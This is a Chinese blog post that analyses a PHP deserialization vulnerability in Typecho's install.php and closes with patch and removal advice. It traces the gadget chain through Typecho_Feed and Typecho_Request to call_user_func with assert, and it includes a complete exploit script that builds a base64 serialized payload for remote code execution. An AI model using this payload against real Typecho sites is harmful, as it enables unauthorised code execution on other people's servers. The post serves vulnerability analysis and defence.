前言
最早知道这个漏洞是在一个微信群里，说是install.php文件里面有个后门，看到别人给的截图一看就知道是个PHP反序列化漏洞，赶紧上服务器看了看自己的博客，发现自己也中招了，相关代码如下：
然后果断在文件第一行加上了die:
<?php die('404 Not Found!'); ?>
今天下午刚好空闲下来，就赶紧拿出来代码看看。
漏洞分析
先从install.php开始跟，229-235行：
<?php$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);?>
要让代码执行到这里需要满足一些条件：
//判断是否已经安装if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit;
}// 挡掉可能的跨站请求if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
} if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit;
}
}
首先是$_GET['finish']不为空，其次是referer需要是本站，比较容易实现。
继续跟反序列化的地方：
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
首先使用Typecho_Cookie的get方法获取__typecho_config，get方法如下：
public static function get($key, $default = NULL){
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default); return is_array($value) ? $default : $value;
}
可以看到给$value赋值这一行，如果$_COOKIE里面没有就从$_POST里面获取，所以我们测试漏洞的时候直接POST也是可以的，不用每次设置Cookie了。
反序列化漏洞要利用势必离不开魔术方法，我之前收集了一些和PHP反序列化有关的PHP函数：
__wakeup() //使用unserialize时触发__sleep() //使用serialize时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把类当作字符串使用时触发__invoke() //当脚本尝试将对象调用为函数时触发
下面这一行中，如果我们反序列化构造一个数组，其中adapter设置为一个类，那么就可以触发这个类的__toString()方法。
然后我们全局搜索__toString()方法，发现两个有搞头的文件：
/var/Typecho/Feed.php /var/Typecho/Db/Query.php
我这里跟一下Feed.php，查看Feed.php的__toString（）方法，其中第290行：
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; //省略........}
其中调用了$item['author']->screenName，$item是$this->_items的foreach循环出来的，并且$this->_items是Typecho_Feed类的一个private属性。
我们可以利用这个$item来调用某个类的__get()方法，上面说过__get()方法是用于从不可访问的属性读取数据，实际执行中这里会获取该类的screenName属性，如果我们给$item['author']设置的类中没有screenName就会执行该类的__get()方法，我们继续来全局搜索一下__get()方法。
发现/var/Typecho/Request.php中的__get()方法如下：
public function __get($key){ return $this->get($key);
}
跟进$this->get()方法如下：
public function get($key, $default = NULL){ switch (true) { case isset($this->_params[$key]):
$value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key]; break; default:
$value = $default; break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value);
}
这里没什么问题，但最后一行：
return $this->_applyFilter($value);
跟进一下发现：
private function _applyFilter($value){ if ($this->_filter) { foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
} return $value;
}
这个foreach里面判断如果$value是数组就执行array_map否则调用call_user_func，这俩函数都是执行代码的关键方法。而这里$filter和$value我们几乎都是可以间接控制的，所以就可以利用call_user_func或者array_map来执行代码，比如我们设置$filter为数组，第一个数组键值是assert，$value设置php代码，即可执行。
然后我们来完成Exploit如下：
<?phpclass Typecho_Feed{ const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(),
);
}
}class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}
$exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_');echo base64_encode(serialize($exp));
然后运行该php，使用输出的payload访问：
至此该漏洞复现成功。
修复方法
官方今天发布了1.1Beta版本修复了该漏洞，升级该版本，链接：http://typecho.org/archives/133/
也可以删除掉install.php和install目录。
